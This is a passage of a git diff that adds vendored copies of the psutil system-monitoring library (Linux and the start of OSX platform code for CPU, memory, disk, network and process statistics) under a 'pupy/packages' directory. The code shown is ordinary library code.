_common.CONN_SYN_SENT, + "03": _common.CONN_SYN_RECV, + "04": _common.CONN_FIN_WAIT1, + "05": _common.CONN_FIN_WAIT2, + "06": _common.CONN_TIME_WAIT, + "07": _common.CONN_CLOSE, + "08": _common.CONN_CLOSE_WAIT, + "09": _common.CONN_LAST_ACK, + "0A": _common.CONN_LISTEN, + "0B": _common.CONN_CLOSING +} + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + + +# --- utils + +def open_text(fname): + """On Python 3 opens a file in text mode by using fs encoding. + On Python 2 this is just an alias for open(name, 'rt'). + """ + kw = dict(encoding=FS_ENCODING) if PY3 else dict() + return open(fname, "rt", **kw) + + +# --- named tuples + +def _get_cputimes_fields(): + """Return a namedtuple of variable fields depending on the + CPU times available on this Linux kernel version which may be: + (user, nice, system, idle, iowait, irq, softirq, [steal, [guest, + [guest_nice]]]) + """ + with open('/proc/stat', 'rb') as f: + values = f.readline().split()[1:] + fields = ['user', 'nice', 'system', 'idle', 'iowait', 'irq', 'softirq'] + vlen = len(values) + if vlen >= 8: + # Linux >= 2.6.11 + fields.append('steal') + if vlen >= 9: + # Linux >= 2.6.24 + fields.append('guest') + if vlen >= 10: + # Linux >= 3.2.0 + fields.append('guest_nice') + return fields + + +scputimes = namedtuple('scputimes', _get_cputimes_fields()) + +svmem = namedtuple( + 'svmem', ['total', 'available', 'percent', 'used', 'free', + 'active', 'inactive', 'buffers', 'cached']) + +pextmem = namedtuple('pextmem', 'rss vms shared text lib data dirty') + +pmmap_grouped = namedtuple( + 'pmmap_grouped', ['path', 'rss', 'size', 'pss', 'shared_clean', + 'shared_dirty', 'private_clean', 'private_dirty', + 'referenced', 'anonymous', 'swap']) + +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) + + +# --- system memory + +def virtual_memory(): + total, free, buffers, shared, _, _ = cext.linux_sysinfo() + cached = active = inactive = None + with open('/proc/meminfo', 'rb') as f: + for line in f: + if line.startswith(b"Cached:"): + cached = int(line.split()[1]) * 1024 + elif line.startswith(b"Active:"): + active = int(line.split()[1]) * 1024 + elif line.startswith(b"Inactive:"): + inactive = int(line.split()[1]) * 1024 + if (cached is not None and + active is not None and + inactive is not None): + break + else: + # we might get here when dealing with exotic Linux flavors, see: + # https://github.com/giampaolo/psutil/issues/313 + msg = "'cached', 'active' and 'inactive' memory stats couldn't " \ + "be determined and were set to 0" + warnings.warn(msg, RuntimeWarning) + cached = active = inactive = 0 + avail = free + buffers + cached + used = total - free + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free, + active, inactive, buffers, cached) + + +def swap_memory(): + _, _, _, _, total, free = cext.linux_sysinfo() + used = total - free + percent = usage_percent(used, total, _round=1) + # get pgin/pgouts + with open("/proc/vmstat", "rb") as f: + sin = sout = None + for line in f: + # values are expressed in 4 kilo bytes, we want bytes instead + if line.startswith(b'pswpin'): + sin = int(line.split(b' ')[1]) * 4 * 1024 + elif line.startswith(b'pswpout'): + sout = int(line.split(b' ')[1]) * 4 * 1024 + if sin is not None and sout is not None: + break + else: + # we might get here when dealing with exotic Linux flavors, see: + # https://github.com/giampaolo/psutil/issues/313 + msg = "'sin' and 'sout' swap memory stats couldn't " \ + "be determined and were set to 0" + warnings.warn(msg, RuntimeWarning) + sin = sout = 0 + return _common.sswap(total, used, free, percent, sin, sout) + + +# --- CPUs + +def cpu_times(): + """Return a named tuple representing the following system-wide + CPU times: + (user, nice, system, idle, iowait, irq, softirq [steal, [guest, + [guest_nice]]]) + Last 3 fields may not be available on all Linux kernel versions. + """ + with open('/proc/stat', 'rb') as f: + values = f.readline().split() + fields = values[1:len(scputimes._fields) + 1] + fields = [float(x) / CLOCK_TICKS for x in fields] + return scputimes(*fields) + + +def per_cpu_times(): + """Return a list of namedtuple representing the CPU times + for every CPU available on the system. + """ + cpus = [] + with open('/proc/stat', 'rb') as f: + # get rid of the first line which refers to system wide CPU stats + f.readline() + for line in f: + if line.startswith(b'cpu'): + values = line.split() + fields = values[1:len(scputimes._fields) + 1] + fields = [float(x) / CLOCK_TICKS for x in fields] + entry = scputimes(*fields) + cpus.append(entry) + return cpus + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + try: + return os.sysconf("SC_NPROCESSORS_ONLN") + except ValueError: + # as a second fallback we try to parse /proc/cpuinfo + num = 0 + with open('/proc/cpuinfo', 'rb') as f: + for line in f: + if line.lower().startswith(b'processor'): + num += 1 + + # unknown format (e.g. amrel/sparc architectures), see: + # https://github.com/giampaolo/psutil/issues/200 + # try to parse /proc/stat as a last resort + if num == 0: + search = re.compile('cpu\d') + with open_text('/proc/stat') as f: + for line in f: + line = line.split(' ')[0] + if search.match(line): + num += 1 + + if num == 0: + # mimic os.cpu_count() + return None + return num + + +def cpu_count_physical(): + """Return the number of physical cores in the system.""" + mapping = {} + current_info = {} + with open('/proc/cpuinfo', 'rb') as f: + for line in f: + line = line.strip().lower() + if not line: + # new section + if (b'physical id' in current_info and + b'cpu cores' in current_info): + mapping[current_info[b'physical id']] = \ + current_info[b'cpu cores'] + current_info = {} + else: + # ongoing section + if (line.startswith(b'physical id') or + line.startswith(b'cpu cores')): + key, value = line.split(b'\t:', 1) + current_info[key] = int(value) + + # mimic os.cpu_count() + return sum(mapping.values()) or None + + +# --- other system functions + +def users(): + """Return currently connected users as a list of namedtuples.""" + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, tty, hostname, tstamp, user_process = item + # note: the underlying C function includes entries about + # system boot, run level and others. We might want + # to use them in the future. + if not user_process: + continue + if hostname == ':0.0' or hostname == ':0': + hostname = 'localhost' + nt = _common.suser(user, tty or None, hostname, tstamp) + retlist.append(nt) + return retlist + + +def boot_time(): + """Return the system boot time expressed in seconds since the epoch.""" + global BOOT_TIME + with open('/proc/stat', 'rb') as f: + for line in f: + if line.startswith(b'btime'): + ret = float(line.strip().split()[1]) + BOOT_TIME = ret + return ret + raise RuntimeError("line 'btime' not found in /proc/stat") + + +# --- processes + +def pids(): + """Returns a list of PIDs currently running on the system.""" + return [int(x) for x in os.listdir(b'/proc') if x.isdigit()] + + +def pid_exists(pid): + """Check For the existence of a unix pid.""" + return _psposix.pid_exists(pid) + + +# --- network + +class Connections: + """A wrapper on top of /proc/net/* files, retrieving per-process + and system-wide open connections (TCP, UDP, UNIX) similarly to + "netstat -an". + + Note: in case of UNIX sockets we're only able to determine the + local endpoint/path, not the one it's connected to. + According to [1] it would be possible but not easily. + + [1] http://serverfault.com/a/417946 + """ + + def __init__(self): + tcp4 = ("tcp", socket.AF_INET, socket.SOCK_STREAM) + tcp6 = ("tcp6", socket.AF_INET6, socket.SOCK_STREAM) + udp4 = ("udp", socket.AF_INET, socket.SOCK_DGRAM) + udp6 = ("udp6", socket.AF_INET6, socket.SOCK_DGRAM) + unix = ("unix", socket.AF_UNIX, None) + self.tmap = { + "all": (tcp4, tcp6, udp4, udp6, unix), + "tcp": (tcp4, tcp6), + "tcp4": (tcp4,), + "tcp6": (tcp6,), + "udp": (udp4, udp6), + "udp4": (udp4,), + "udp6": (udp6,), + "unix": (unix,), + "inet": (tcp4, tcp6, udp4, udp6), + "inet4": (tcp4, udp4), + "inet6": (tcp6, udp6), + } + + def get_proc_inodes(self, pid): + inodes = defaultdict(list) + for fd in os.listdir("/proc/%s/fd" % pid): + try: + inode = os.readlink("/proc/%s/fd/%s" % (pid, fd)) + except OSError as err: + # ENOENT == file which is gone in the meantime; + # os.stat('/proc/%s' % self.pid) will be done later + # to force NSP (if it's the case) + if err.errno in (errno.ENOENT, errno.ESRCH): + continue + elif err.errno == errno.EINVAL: + # not a link + continue + else: + raise + else: + if inode.startswith('socket:['): + # the process is using a socket + inode = inode[8:][:-1] + inodes[inode].append((pid, int(fd))) + return inodes + + def get_all_inodes(self): + inodes = {} + for pid in pids(): + try: + inodes.update(self.get_proc_inodes(pid)) + except OSError as err: + # os.listdir() is gonna raise a lot of access denied + # exceptions in case of unprivileged user; that's fine + # as we'll just end up returning a connection with PID + # and fd set to None anyway. + # Both netstat -an and lsof does the same so it's + # unlikely we can do any better. + # ENOENT just means a PID disappeared on us. + if err.errno not in ( + errno.ENOENT, errno.ESRCH, errno.EPERM, errno.EACCES): + raise + return inodes + + def decode_address(self, addr, family): + """Accept an "ip:port" address as displayed in /proc/net/* + and convert it into a human readable form, like: + + "0500000A:0016" -> ("10.0.0.5", 22) + "0000000000000000FFFF00000100007F:9E49" -> ("::ffff:127.0.0.1", 40521) + + The IP address portion is a little or big endian four-byte + hexadecimal number; that is, the least significant byte is listed + first, so we need to reverse the order of the bytes to convert it + to an IP address. + The port is represented as a two-byte hexadecimal number. + + Reference: + http://linuxdevcenter.com/pub/a/linux/2000/11/16/LinuxAdmin.html + """ + ip, port = addr.split(':') + port = int(port, 16) + # this usually refers to a local socket in listen mode with + # no end-points connected + if not port: + return () + if PY3: + ip = ip.encode('ascii') + if family == socket.AF_INET: + # see: https://github.com/giampaolo/psutil/issues/201 + if sys.byteorder == 'little': + ip = socket.inet_ntop(family, base64.b16decode(ip)[::-1]) + else: + ip = socket.inet_ntop(family, base64.b16decode(ip)) + else: # IPv6 + # old version - let's keep it, just in case... + # ip = ip.decode('hex') + # return socket.inet_ntop(socket.AF_INET6, + # ''.join(ip[i:i+4][::-1] for i in xrange(0, 16, 4))) + ip = base64.b16decode(ip) + # see: https://github.com/giampaolo/psutil/issues/201 + if sys.byteorder == 'little': + ip = socket.inet_ntop( + socket.AF_INET6, + struct.pack('>4I', *struct.unpack('<4I', ip))) + else: + ip = socket.inet_ntop( + socket.AF_INET6, + struct.pack('<4I', *struct.unpack('<4I', ip))) + return (ip, port) + + def process_inet(self, file, family, type_, inodes, filter_pid=None): + """Parse /proc/net/tcp* and /proc/net/udp* files.""" + if file.endswith('6') and not os.path.exists(file): + # IPv6 not supported + return + with open_text(file) as f: + f.readline() # skip the first line + for line in f: + try: + _, laddr, raddr, status, _, _, _, _, _, inode = \ + line.split()[:10] + except ValueError: + raise RuntimeError( + "error while parsing %s; malformed line %r" % ( + file, line)) + if inode in inodes: + # # We assume inet sockets are unique, so we error + # # out if there are multiple references to the + # # same inode. We won't do this for UNIX sockets. + # if len(inodes[inode]) > 1 and family != socket.AF_UNIX: + # raise ValueError("ambiguos inode with multiple " + # "PIDs references") + pid, fd = inodes[inode][0] + else: + pid, fd = None, -1 + if filter_pid is not None and filter_pid != pid: + continue + else: + if type_ == socket.SOCK_STREAM: + status = TCP_STATUSES[status] + else: + status = _common.CONN_NONE + laddr = self.decode_address(laddr, family) + raddr = self.decode_address(raddr, family) + yield (fd, family, type_, laddr, raddr, status, pid) + + def process_unix(self, file, family, inodes, filter_pid=None): + """Parse /proc/net/unix files.""" + # see: https://github.com/giampaolo/psutil/issues/675 + kw = dict(encoding=FS_ENCODING, errors='replace') if PY3 else dict() + with open(file, 'rt', **kw) as f: + f.readline() # skip the first line + for line in f: + tokens = line.split() + try: + _, _, _, _, type_, _, inode = tokens[0:7] + except ValueError: + raise RuntimeError( + "error while parsing %s; malformed line %r" % ( + file, line)) + if inode in inodes: + # With UNIX sockets we can have a single inode + # referencing many file descriptors. + pairs = inodes[inode] + else: + pairs = [(None, -1)] + for pid, fd in pairs: + if filter_pid is not None and filter_pid != pid: + continue + else: + if len(tokens) == 8: + path = tokens[-1] + else: + path = "" + type_ = int(type_) + raddr = None + status = _common.CONN_NONE + yield (fd, family, type_, path, raddr, status, pid) + + def retrieve(self, kind, pid=None): + if kind not in self.tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in self.tmap]))) + if pid is not None: + inodes = self.get_proc_inodes(pid) + if not inodes: + # no connections for this process + return [] + else: + inodes = self.get_all_inodes() + ret = set() + for f, family, type_ in self.tmap[kind]: + if family in (socket.AF_INET, socket.AF_INET6): + ls = self.process_inet( + "/proc/net/%s" % f, family, type_, inodes, filter_pid=pid) + else: + ls = self.process_unix( + "/proc/net/%s" % f, family, inodes, filter_pid=pid) + for fd, family, type_, laddr, raddr, status, bound_pid in ls: + if pid: + conn = _common.pconn(fd, family, type_, laddr, raddr, + status) + else: + conn = _common.sconn(fd, family, type_, laddr, raddr, + status, bound_pid) + ret.add(conn) + return list(ret) + + +_connections = Connections() + + +def net_connections(kind='inet'): + """Return system-wide open connections.""" + return _connections.retrieve(kind) + + +def net_io_counters(): + """Return network I/O statistics for every network interface + installed on the system as a dict of raw tuples. + """ + with open_text("/proc/net/dev") as f: + lines = f.readlines() + retdict = {} + for line in lines[2:]: + colon = line.rfind(':') + assert colon > 0, repr(line) + name = line[:colon].strip() + fields = line[colon + 1:].strip().split() + bytes_recv = int(fields[0]) + packets_recv = int(fields[1]) + errin = int(fields[2]) + dropin = int(fields[3]) + bytes_sent = int(fields[8]) + packets_sent = int(fields[9]) + errout = int(fields[10]) + dropout = int(fields[11]) + retdict[name] = (bytes_sent, bytes_recv, packets_sent, packets_recv, + errin, errout, dropin, dropout) + return retdict + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + duplex_map = {cext.DUPLEX_FULL: NIC_DUPLEX_FULL, + cext.DUPLEX_HALF: NIC_DUPLEX_HALF, + cext.DUPLEX_UNKNOWN: NIC_DUPLEX_UNKNOWN} + names = net_io_counters().keys() + ret = {} + for name in names: + isup, duplex, speed, mtu = cext.net_if_stats(name) + duplex = duplex_map[duplex] + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +net_if_addrs = cext_posix.net_if_addrs + + +# --- disks + +def disk_io_counters(): + """Return disk I/O statistics for every disk installed on the + system as a dict of raw tuples. + """ + # man iostat states that sectors are equivalent with blocks and + # have a size of 512 bytes since 2.4 kernels. This value is + # needed to calculate the amount of disk I/O in bytes. + SECTOR_SIZE = 512 + + # determine partitions we want to look for + partitions = [] + with open_text("/proc/partitions") as f: + lines = f.readlines()[2:] + for line in reversed(lines): + _, _, _, name = line.split() + if name[-1].isdigit(): + # we're dealing with a partition (e.g. 'sda1'); 'sda' will + # also be around but we want to omit it + partitions.append(name) + else: + if not partitions or not partitions[-1].startswith(name): + # we're dealing with a disk entity for which no + # partitions have been defined (e.g. 'sda' but + # 'sda1' was not around), see: + # https://github.com/giampaolo/psutil/issues/338 + partitions.append(name) + # + retdict = {} + with open_text("/proc/diskstats") as f: + lines = f.readlines() + for line in lines: + # http://www.mjmwired.net/kernel/Documentation/iostats.txt + fields = line.split() + if len(fields) > 7: + _, _, name, reads, _, rbytes, rtime, writes, _, wbytes, wtime = \ + fields[:11] + else: + # from kernel 2.6.0 to 2.6.25 + _, _, name, reads, rbytes, writes, wbytes = fields + rtime, wtime = 0, 0 + if name in partitions: + rbytes = int(rbytes) * SECTOR_SIZE + wbytes = int(wbytes) * SECTOR_SIZE + reads = int(reads) + writes = int(writes) + rtime = int(rtime) + wtime = int(wtime) + retdict[name] = (reads, writes, rbytes, wbytes, rtime, wtime) + return retdict + + +def disk_partitions(all=False): + """Return mounted disk partitions as a list of namedtuples""" + fstypes = set() + with open_text("/proc/filesystems") as f: + for line in f: + line = line.strip() + if not line.startswith("nodev"): + fstypes.add(line.strip()) + else: + # ignore all lines starting with "nodev" except "nodev zfs" + fstype = line.split("\t")[1] + if fstype == "zfs": + fstypes.add("zfs") + + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + if device == '' or fstype not in fstypes: + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +disk_usage = _psposix.disk_usage + + +# --- decorators + +def wrap_exceptions(fun): + """Decorator which translates bare OSError and IOError exceptions + into NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except EnvironmentError as err: + # support for private module import + if NoSuchProcess is None or AccessDenied is None: + raise + # ENOENT (no such file or directory) gets raised on open(). + # ESRCH (no such process) can get raised on read() if + # process is gone in meantime. + if err.errno in (errno.ENOENT, errno.ESRCH): + raise NoSuchProcess(self.pid, self._name) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +def wrap_exceptions_w_zombie(fun): + """Same as above but also handles zombies.""" + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return wrap_exceptions(fun)(self) + except NoSuchProcess: + if not pid_exists(self.pid): + raise + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + return wrapper + + +class Process(object): + """Linux process implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + with open_text("/proc/%s/stat" % self.pid) as f: + data = f.read() + # XXX - gets changed later and probably needs refactoring + return data[data.find('(') + 1:data.rfind(')')] + + def exe(self): + try: + exe = os.readlink("/proc/%s/exe" % self.pid) + except OSError as err: + if err.errno in (errno.ENOENT, errno.ESRCH): + # no such file error; might be raised also if the + # path actually exists for system processes with + # low pids (about 0-20) + if os.path.lexists("/proc/%s" % self.pid): + return "" + else: + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + + # readlink() might return paths containing null bytes ('\x00'). + # Certain names have ' (deleted)' appended. Usually this is + # bogus as the file actually exists. Either way that's not + # important as we don't want to discriminate executables which + # have been deleted. + exe = exe.split('\x00')[0] + if exe.endswith(' (deleted)') and not os.path.exists(exe): + exe = exe[:-10] + return exe + + @wrap_exceptions + def cmdline(self): + with open_text("/proc/%s/cmdline" % self.pid) as f: + data = f.read() + if data.endswith('\x00'): + data = data[:-1] + return [x for x in data.split('\x00')] + + @wrap_exceptions + def terminal(self): + tmap = _psposix._get_terminal_map() + with open("/proc/%s/stat" % self.pid, 'rb') as f: + tty_nr = int(f.read().split(b' ')[6]) + try: + return tmap[tty_nr] + except KeyError: + return None + + if os.path.exists('/proc/%s/io' % os.getpid()): + @wrap_exceptions + def io_counters(self): + fname = "/proc/%s/io" % self.pid + with open(fname, 'rb') as f: + rcount = wcount = rbytes = wbytes = None + for line in f: + if rcount is None and line.startswith(b"syscr"): + rcount = int(line.split()[1]) + elif wcount is None and line.startswith(b"syscw"): + wcount = int(line.split()[1]) + elif rbytes is None and line.startswith(b"read_bytes"): + rbytes = int(line.split()[1]) + elif wbytes is None and line.startswith(b"write_bytes"): + wbytes = int(line.split()[1]) + for x in (rcount, wcount, rbytes, wbytes): + if x is None: + raise NotImplementedError( + "couldn't read all necessary info from %r" % fname) + return _common.pio(rcount, wcount, rbytes, wbytes) + else: + def io_counters(self): + raise NotImplementedError("couldn't find /proc/%s/io (kernel " + "too old?)" % self.pid) + + @wrap_exceptions + def cpu_times(self): + with open("/proc/%s/stat" % self.pid, 'rb') as f: + st = f.read().strip() + # ignore the first two values ("pid (exe)") + st = st[st.find(b')') + 2:] + values = st.split(b' ') + utime = float(values[11]) / CLOCK_TICKS + stime = float(values[12]) / CLOCK_TICKS + return _common.pcputimes(utime, stime) + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) + + @wrap_exceptions + def create_time(self): + with open("/proc/%s/stat" % self.pid, 'rb') as f: + st = f.read().strip() + # ignore the first two values ("pid (exe)") + st = st[st.rfind(b')') + 2:] + values = st.split(b' ') + # According to documentation, starttime is in field 21 and the + # unit is jiffies (clock ticks). + # We first divide it for clock ticks and then add uptime returning + # seconds since the epoch, in UTC. + # Also use cached value if available. + bt = BOOT_TIME or boot_time() + return (float(values[19]) / CLOCK_TICKS) + bt + + @wrap_exceptions + def memory_info(self): + with open("/proc/%s/statm" % self.pid, 'rb') as f: + vms, rss = f.readline().split()[:2] + return _common.pmem(int(rss) * PAGESIZE, + int(vms) * PAGESIZE) + + @wrap_exceptions + def memory_info_ex(self): + # ============================================================ + # | FIELD | DESCRIPTION | AKA | TOP | + # ============================================================ + # | rss | resident set size | | RES | + # | vms | total program size | size | VIRT | + # | shared | shared pages (from shared mappings) | | SHR | + # | text | text ('code') | trs | CODE | + # | lib | library (unused in Linux 2.6) | lrs | | + # | data | data + stack | drs | DATA | + # | dirty | dirty pages (unused in Linux 2.6) | dt | | + # ============================================================ + with open("/proc/%s/statm" % self.pid, "rb") as f: + vms, rss, shared, text, lib, data, dirty = \ + [int(x) * PAGESIZE for x in f.readline().split()[:7]] + return pextmem(rss, vms, shared, text, lib, data, dirty) + + if os.path.exists('/proc/%s/smaps' % os.getpid()): + + @wrap_exceptions + def memory_maps(self): + """Return process's mapped memory regions as a list of named tuples. + Fields are explained in 'man proc'; here is an updated (Apr 2012) + version: http://goo.gl/fmebo + """ + with open_text("/proc/%s/smaps" % self.pid) as f: + first_line = f.readline() + current_block = [first_line] + + def get_blocks(): + data = {} + for line in f: + fields = line.split(None, 5) + if not fields[0].endswith(':'): + # new block section + yield (current_block.pop(), data) + current_block.append(line) + else: + try: + data[fields[0]] = int(fields[1]) * 1024 + except ValueError: + if fields[0].startswith('VmFlags:'): + # see issue #369 + continue + else: + raise ValueError("don't know how to inte" + "rpret line %r" % line) + yield (current_block.pop(), data) + + ls = [] + if first_line: # smaps file can be empty + for header, data in get_blocks(): + hfields = header.split(None, 5) + try: + addr, perms, offset, dev, inode, path = hfields + except ValueError: + addr, perms, offset, dev, inode, path = \ + hfields + [''] + if not path: + path = '[anon]' + else: + path = path.strip() + ls.append(( + addr, perms, path, + data['Rss:'], + data.get('Size:', 0), + data.get('Pss:', 0), + data.get('Shared_Clean:', 0), + data.get('Shared_Dirty:', 0), + data.get('Private_Clean:', 0), + data.get('Private_Dirty:', 0), + data.get('Referenced:', 0), + data.get('Anonymous:', 0), + data.get('Swap:', 0) + )) + return ls + + else: + def memory_maps(self): + msg = "couldn't find /proc/%s/smaps; kernel < 2.6.14 or " \ + "CONFIG_MMU kernel configuration option is not enabled" \ + % self.pid + raise NotImplementedError(msg) + + @wrap_exceptions_w_zombie + def cwd(self): + # readlink() might return paths containing null bytes causing + # problems when used with other fs-related functions (os.*, + # open(), ...) + path = os.readlink("/proc/%s/cwd" % self.pid) + return path.replace('\x00', '') + + @wrap_exceptions + def num_ctx_switches(self): + vol = unvol = None + with open("/proc/%s/status" % self.pid, "rb") as f: + for line in f: + if line.startswith(b"voluntary_ctxt_switches"): + vol = int(line.split()[1]) + elif line.startswith(b"nonvoluntary_ctxt_switches"): + unvol = int(line.split()[1]) + if vol is not None and unvol is not None: + return _common.pctxsw(vol, unvol) + raise NotImplementedError( + "'voluntary_ctxt_switches' and 'nonvoluntary_ctxt_switches'" + "fields were not found in /proc/%s/status; the kernel is " + "probably older than 2.6.23" % self.pid) + + @wrap_exceptions + def num_threads(self): + with open("/proc/%s/status" % self.pid, "rb") as f: + for line in f: + if line.startswith(b"Threads:"): + return int(line.split()[1]) + raise NotImplementedError("line not found") + + @wrap_exceptions + def threads(self): + thread_ids = os.listdir("/proc/%s/task" % self.pid) + thread_ids.sort() + retlist = [] + hit_enoent = False + for thread_id in thread_ids: + fname = "/proc/%s/task/%s/stat" % (self.pid, thread_id) + try: + with open(fname, 'rb') as f: + st = f.read().strip() + except IOError as err: + if err.errno == errno.ENOENT: + # no such file or directory; it means thread + # disappeared on us + hit_enoent = True + continue + raise + # ignore the first two values ("pid (exe)") + st = st[st.find(b')') + 2:] + values = st.split(b' ') + utime = float(values[11]) / CLOCK_TICKS + stime = float(values[12]) / CLOCK_TICKS + ntuple = _common.pthread(int(thread_id), utime, stime) + retlist.append(ntuple) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + @wrap_exceptions + def nice_get(self): + # with open_text('/proc/%s/stat' % self.pid) as f: + # data = f.read() + # return int(data.split()[18]) + + # Use C implementation + return cext_posix.getpriority(self.pid) + + @wrap_exceptions + def nice_set(self, value): + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def cpu_affinity_get(self): + return cext.proc_cpu_affinity_get(self.pid) + + @wrap_exceptions + def cpu_affinity_set(self, cpus): + try: + cext.proc_cpu_affinity_set(self.pid, cpus) + except OSError as err: + if err.errno == errno.EINVAL: + allcpus = tuple(range(len(per_cpu_times()))) + for cpu in cpus: + if cpu not in allcpus: + raise ValueError("invalid CPU #%i (choose between %s)" + % (cpu, allcpus)) + raise + + # only starting from kernel 2.6.13 + if hasattr(cext, "proc_ioprio_get"): + + @wrap_exceptions + def ionice_get(self): + ioclass, value = cext.proc_ioprio_get(self.pid) + if enum is not None: + ioclass = IOPriority(ioclass) + return _common.pionice(ioclass, value) + + @wrap_exceptions + def ionice_set(self, ioclass, value): + if value is not None: + if not PY3 and not isinstance(value, (int, long)): + msg = "value argument is not an integer (gor %r)" % value + raise TypeError(msg) + if not 0 <= value <= 7: + raise ValueError( + "value argument range expected is between 0 and 7") + + if ioclass in (IOPRIO_CLASS_NONE, None): + if value: + msg = "can't specify value with IOPRIO_CLASS_NONE " \ + "(got %r)" % value + raise ValueError(msg) + ioclass = IOPRIO_CLASS_NONE + value = 0 + elif ioclass == IOPRIO_CLASS_IDLE: + if value: + msg = "can't specify value with IOPRIO_CLASS_IDLE " \ + "(got %r)" % value + raise ValueError(msg) + value = 0 + elif ioclass in (IOPRIO_CLASS_RT, IOPRIO_CLASS_BE): + if value is None: + # TODO: add comment explaining why this is 4 (?) + value = 4 + else: + # otherwise we would get OSError(EVINAL) + raise ValueError("invalid ioclass argument %r" % ioclass) + + return cext.proc_ioprio_set(self.pid, ioclass, value) + + if HAS_PRLIMIT: + @wrap_exceptions + def rlimit(self, resource, limits=None): + # If pid is 0 prlimit() applies to the calling process and + # we don't want that. We should never get here though as + # PID 0 is not supported on Linux. + if self.pid == 0: + raise ValueError("can't use prlimit() against PID 0 process") + try: + if limits is None: + # get + return cext.linux_prlimit(self.pid, resource) + else: + # set + if len(limits) != 2: + raise ValueError( + "second argument must be a (soft, hard) tuple, " + "got %s" % repr(limits)) + soft, hard = limits + cext.linux_prlimit(self.pid, resource, soft, hard) + except OSError as err: + if err.errno == errno.ENOSYS and pid_exists(self.pid): + # I saw this happening on Travis: + # https://travis-ci.org/giampaolo/psutil/jobs/51368273 + raise ZombieProcess(self.pid, self._name, self._ppid) + else: + raise + + @wrap_exceptions + def status(self): + with open("/proc/%s/status" % self.pid, 'rb') as f: + for line in f: + if line.startswith(b"State:"): + letter = line.split()[1] + if PY3: + letter = letter.decode() + # XXX is '?' legit? (we're not supposed to return + # it anyway) + return PROC_STATUSES.get(letter, '?') + + @wrap_exceptions + def open_files(self): + retlist = [] + files = os.listdir("/proc/%s/fd" % self.pid) + hit_enoent = False + for fd in files: + file = "/proc/%s/fd/%s" % (self.pid, fd) + try: + file = os.readlink(file) + except OSError as err: + # ENOENT == file which is gone in the meantime + if err.errno in (errno.ENOENT, errno.ESRCH): + hit_enoent = True + continue + elif err.errno == errno.EINVAL: + # not a link + continue + else: + raise + else: + # If file is not an absolute path there's no way + # to tell whether it's a regular file or not, + # so we skip it. A regular file is always supposed + # to be absolutized though. + if file.startswith('/') and isfile_strict(file): + ntuple = _common.popenfile(file, int(fd)) + retlist.append(ntuple) + if hit_enoent: + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return retlist + + @wrap_exceptions + def connections(self, kind='inet'): + ret = _connections.retrieve(kind, self.pid) + # raise NSP if the process disappeared on us + os.stat('/proc/%s' % self.pid) + return ret + + @wrap_exceptions + def num_fds(self): + return len(os.listdir("/proc/%s/fd" % self.pid)) + + @wrap_exceptions + def ppid(self): + fpath = "/proc/%s/status" % self.pid + with open(fpath, 'rb') as f: + for line in f: + if line.startswith(b"PPid:"): + # PPid: nnnn + return int(line.split()[1]) + raise NotImplementedError("line 'PPid' not found in %s" % fpath) + + @wrap_exceptions + def uids(self): + fpath = "/proc/%s/status" % self.pid + with open(fpath, 'rb') as f: + for line in f: + if line.startswith(b'Uid:'): + _, real, effective, saved, fs = line.split() + return _common.puids(int(real), int(effective), int(saved)) + raise NotImplementedError("line 'Uid' not found in %s" % fpath) + + @wrap_exceptions + def gids(self): + fpath = "/proc/%s/status" % self.pid + with open(fpath, 'rb') as f: + for line in f: + if line.startswith(b'Gid:'): + _, real, effective, saved, fs = line.split() + return _common.pgids(int(real), int(effective), int(saved)) + raise NotImplementedError("line 'Gid' not found in %s" % fpath) diff --git a/pupy/packages/windows/amd64/psutil/_psosx.py b/pupy/packages/windows/amd64/psutil/_psosx.py new file mode 100644 index 00000000..41875fe4 --- /dev/null +++ b/pupy/packages/windows/amd64/psutil/_psosx.py @@ -0,0 +1,363 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""OSX platform implementation.""" + +import errno +import functools +import os +from collections import namedtuple + +from . import _common +from . import _psposix +from . import _psutil_osx as cext +from . import _psutil_posix as cext_posix +from ._common import conn_tmap, usage_percent, isfile_strict +from ._common import sockfam_to_enum, socktype_to_enum + + +__extra__all__ = [] + +# --- constants + +PAGESIZE = os.sysconf("SC_PAGE_SIZE") +AF_LINK = cext_posix.AF_LINK + +# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h +TCP_STATUSES = { + cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED, + cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT, + cext.TCPS_SYN_RECEIVED: 